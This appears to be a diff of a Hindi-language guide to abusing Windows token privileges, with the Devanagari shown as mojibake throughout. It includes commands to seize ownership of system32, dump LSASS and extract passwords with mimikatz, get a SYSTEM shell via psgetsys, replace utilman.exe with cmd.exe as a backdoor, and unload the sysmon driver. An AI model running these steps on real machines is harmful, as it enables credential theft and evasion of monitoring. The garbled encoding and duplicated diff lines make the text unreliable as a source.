рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрде рдХрд╛ рдкрд╛рд▓рди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред +рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ **рдбрд┐рд╡рд╛рдЗрд╕ рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреЛ рд▓реЛрдб рдФрд░ рдЕрдирд▓реЛрдб** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ `ImagePath` рдФрд░ `Type` рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рд╢рд╛рдорд┐рд▓ рд╣реИред рдЪреВрдВрдХрд┐ `HKLM` (HKEY_LOCAL_MACHINE) рдкрд░ рд╕реАрдзреЗ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реИ, рдЗрд╕рд▓рд┐рдП `HKCU` (HKEY_CURRENT_USER) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдбреНрд░рд╛рдЗрд╡рд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП `HKCU` рдХреЛ рдХрд░реНрдиреЗрд▓ рджреНрд╡рд╛рд░рд╛ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрде рдХрд╛ рдкрд╛рд▓рди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред -рдпрд╣ рдкрде `\Registry\User\\System\CurrentControlSet\Services\DriverName` рд╣реИ, рдЬрд╣рд╛рдБ `` рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╕рд╛рдкреЗрдХреНрд╖ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рд╣реИред `HKCU` рдХреЗ рдЕрдВрджрд░, рдЗрд╕ рдкреВрд░реЗ рдкрде рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рджреЛ рдорд╛рди рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: +рдпрд╣ рдкрде `\Registry\User\\System\CurrentControlSet\Services\DriverName` рд╣реИ, рдЬрд╣рд╛рдБ `` рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╕рд╛рдкреЗрдХреНрд╖ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рд╣реИред `HKCU` рдХреЗ рдЕрдВрджрд░, рдЗрд╕ рдкреВрд░реЗ рдкрде рдХреЛ рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рджреЛ рдорд╛рди рд╕реЗрдЯ рдХрд░рдиреЗ рд╣реЛрдВрдЧреЗ: - `ImagePath`, рдЬреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдмрд╛рдЗрдирд░реА рдХрд╛ рдкрде рд╣реИ - `Type`, рдЬрд┐рд╕рдХрд╛ рдорд╛рди `SERVICE_KERNEL_DRIVER` (`0x00000001`) рд╣реИред @@ -92,7 +92,7 @@ reg.CloseKey(key) ### SeTakeOwnershipPrivilege -рдпрд╣ **SeRestorePrivilege** рдХреЗ рд╕рдорд╛рди рд╣реИред рдЗрд╕рдХрд╛ рдореБрдЦреНрдп рдХрд╛рд░реНрдп рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ **рдПрдХ рд╡рд╕реНрддреБ рдХрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдЧреНрд░рд╣рдг рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ рд╣реИ, рдЬреЛ WRITE_OWNER рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдкреНрд░рд╛рд╡рдзрд╛рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдкрд╖реНрдЯ рд╡рд┐рд╡реЗрдХрд╛рдзреАрди рдкрд╣реБрдБрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддрд╛ рд╣реИред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд╣рд▓реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЗрдЪреНрдЫрд┐рдд рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдХрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдлрд┐рд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП DACL рдХреЛ рдмрджрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред +рдпрд╣ **SeRestorePrivilege** рдХреЗ рд╕рдорд╛рди рд╣реИред рдЗрд╕рдХрд╛ рдореБрдЦреНрдп рдХрд╛рд░реНрдп рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ **рдХрд┐рд╕реА рд╡рд╕реНрддреБ рдХрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдЧреНрд░рд╣рдг рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ рд╣реИ, рдЬреЛ WRITE_OWNER рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдкреНрд░рд╛рд╡рдзрд╛рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдкрд╖реНрдЯ рд╡рд┐рд╡реЗрдХрд╛рдзреАрди рдкрд╣реБрдБрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддрд╛ рд╣реИред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд╣рд▓реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЗрдЪреНрдЫрд┐рдд рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдХрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдлрд┐рд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП DACL рдХреЛ рдмрджрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред ```bash takeown /f 'C:\some\file.txt' #Now the file is owned by you icacls 'C:\some\file.txt' /grant :F #Now you have full access @@ -114,7 +114,7 @@ c:\inetpub\wwwwroot\web.config #### Dump memory -рдЖрдк [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) рд╕реЗ **рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдПред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрд╣ **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдмрд╛рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред +рдЖрдк [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) рд╕реЗ **рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдПред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрд╣ **рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЙрдкрдкреНрд░рдгрд╛рд▓реА рд╕реЗрд╡рд╛ (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдмрд╛рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред рдЖрдк рдлрд┐рд░ рдЗрд╕ рдбрдВрдк рдХреЛ mimikatz рдореЗрдВ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВ: ``` @@ -125,12 +125,12 @@ mimikatz # sekurlsa::logonpasswords ``` #### RCE -рдпрджрд┐ рдЖрдк `NT SYSTEM` рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдк `NT SYSTEM` рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: - [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) - [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) - [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) -```powershell +```bash # Get the PID of a process running as NT SYSTEM import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) ``` @@ -138,35 +138,35 @@ import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,- рдпрджрд┐ рдЖрдк %WINDIR%\MEMORY.DMP рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдпрд╣ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ

- SeBackupPrivilege (рдФрд░ robocopy) рдЦреБрд▓реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рдирд╣реАрдВ рд╣реИред

- Robocopy рдХреЛ /b рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SeBackup рдФрд░ SeRestore рджреЛрдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

| -| **`SeCreateToken`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | 3rd party tool | `NtCreateToken` рдХреЗ рд╕рд╛рде рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рд╕рд╣рд┐рдд рдордирдорд╛рдиреЗ рдЯреЛрдХрди рдмрдирд╛рдПрдВред | | -| **`SeDebug`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | **PowerShell** | `lsass.exe` рдЯреЛрдХрди рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░реЗрдВред | рд╕реНрдХреНрд░рд┐рдкреНрдЯ [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) рдкрд░ рдорд┐рд▓реЗрдЧреА | -| **`SeLoadDriver`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | 3rd party tool |

1. szkg64.sys рдЬреИрд╕реЗ рдмрдЧреНрдЧреА рдХрд░реНрдиреЗрд▓ рдбреНрд░рд╛рдЗрд╡рд░ рдХреЛ рд▓реЛрдб рдХрд░реЗрдВ
2. рдбреНрд░рд╛рдЗрд╡рд░ рдХреА рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВ

рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реБрд░рдХреНрд╖рд╛-рд╕рдВрдмрдВрдзрд┐рдд рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреЛ ftlMC рдирд┐рд░реНрдорд┐рдд рдЖрджреЗрд╢ рдХреЗ рд╕рд╛рде рдЕрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╛рдиреА: fltMC sysmondrv

|

1. szkg64 рднреЗрджреНрдпрддрд╛ рдХреЛ CVE-2018-15732 рдХреЗ рд░реВрдк рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ
2. szkg64 рд╢реЛрд╖рдг рдХреЛрдб рдХреЛ Parvez Anwar рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛

| -| **`SeRestore`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | **PowerShell** |

1. SeRestore рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде PowerShell/ISE рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред
2. Enable-SeRestorePrivilege рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕рдХреНрд╖рдо рдХрд░реЗрдВред
3. utilman.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.old рдХрд░реЗрдВ
4. cmd.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.exe рдХрд░реЗрдВ
5. рдХрдВрд╕реЛрд▓ рдХреЛ рд▓реЙрдХ рдХрд░реЗрдВ рдФрд░ Win+U рджрдмрд╛рдПрдВ

|

рд╣рдорд▓рд╛ рдХреБрдЫ AV рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐ рдЙрд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "Program Files" рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ

| -| **`SeTakeOwnership`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | _**рдирд┐рд░реНрдорд┐рдд рдЖрджреЗрд╢**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. cmd.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.exe рдХрд░реЗрдВ
4. рдХрдВрд╕реЛрд▓ рдХреЛ рд▓реЙрдХ рдХрд░реЗрдВ рдФрд░ Win+U рджрдмрд╛рдПрдВ

|

рд╣рдорд▓рд╛ рдХреБрдЫ AV рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐ рдЙрд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "Program Files" рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред

| -| **`SeTcb`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | 3rd party tool |

рдЯреЛрдХрди рдХреЛ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдХрд░реЗрдВред SeImpersonate рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред
рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛рдиреА рд╣реИред

| | +| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"рдпрд╣ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдФрд░ potato.exe, rottenpotato.exe рдФрд░ juicypotato.exe рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ nt рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛"_ | Thank you [Aur├йlien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. | +| **`SeBackup`** | **Threat** | _**Built-in commands**_ | рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ `robocopy /b` рдХреЗ рд╕рд╛рде рдкрдврд╝реЗрдВ |

- рдпрджрд┐ рдЖрдк %WINDIR%\MEMORY.DMP рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдпрд╣ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ

- SeBackupPrivilege (рдФрд░ robocopy) рдЦреБрд▓реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рдирд╣реАрдВ рд╣реИред

- Robocopy рдХреЛ /b рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SeBackup рдФрд░ SeRestore рджреЛрдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

| +| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken` рдХреЗ рд╕рд╛рде рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рд╕рд╣рд┐рдд рдордирдорд╛рдиреЗ рдЯреЛрдХрди рдмрдирд╛рдПрдВред | | +| **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe` рдЯреЛрдХрди рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░реЗрдВред | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | +| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. szkg64.sys рдЬреИрд╕реЗ рдмрдЧреНрдЧреА рдХрд░реНрдиреЗрд▓ рдбреНрд░рд╛рдЗрд╡рд░ рдХреЛ рд▓реЛрдб рдХрд░реЗрдВ
2. рдбреНрд░рд╛рдЗрд╡рд░ рдХреА рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВ

рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ ftlMC рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд╛-рд╕рдВрдмрдВрдзрд┐рдд рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреЛ рдЕрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╛рдиреА: fltMC sysmondrv

|

1. szkg64 рднреЗрджреНрдпрддрд╛ рдХреЛ CVE-2018-15732 рдХреЗ рд░реВрдк рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ
2. szkg64 рд╢реЛрд╖рдг рдХреЛрдб рдХреЛ Parvez Anwar рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛

| +| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. SeRestore рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде PowerShell/ISE рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред
2. Enable-SeRestorePrivilege рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕рдХреНрд╖рдо рдХрд░реЗрдВред
3. utilman.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.old рдХрд░реЗрдВ
4. cmd.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.exe рдХрд░реЗрдВ
5. рдХрдВрд╕реЛрд▓ рдХреЛ рд▓реЙрдХ рдХрд░реЗрдВ рдФрд░ Win+U рджрдмрд╛рдПрдВ

|

рд╣рдорд▓рд╛ рдХреБрдЫ AV рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐ рдЙрд╕реА рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "Program Files" рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ

| +| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. cmd.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.exe рдХрд░реЗрдВ
4. рдХрдВрд╕реЛрд▓ рдХреЛ рд▓реЙрдХ рдХрд░реЗрдВ рдФрд░ Win+U рджрдмрд╛рдПрдВ

|

рд╣рдорд▓рд╛ рдХреБрдЫ AV рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐ рдЙрд╕реА рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "Program Files" рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред

| +| **`SeTcb`** | _**Admin**_ | 3rd party tool |

рдЯреЛрдХрди рдХреЛ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдХрд░реЗрдВред SeImpersonate рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред

рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛рдиреА рд╣реИред

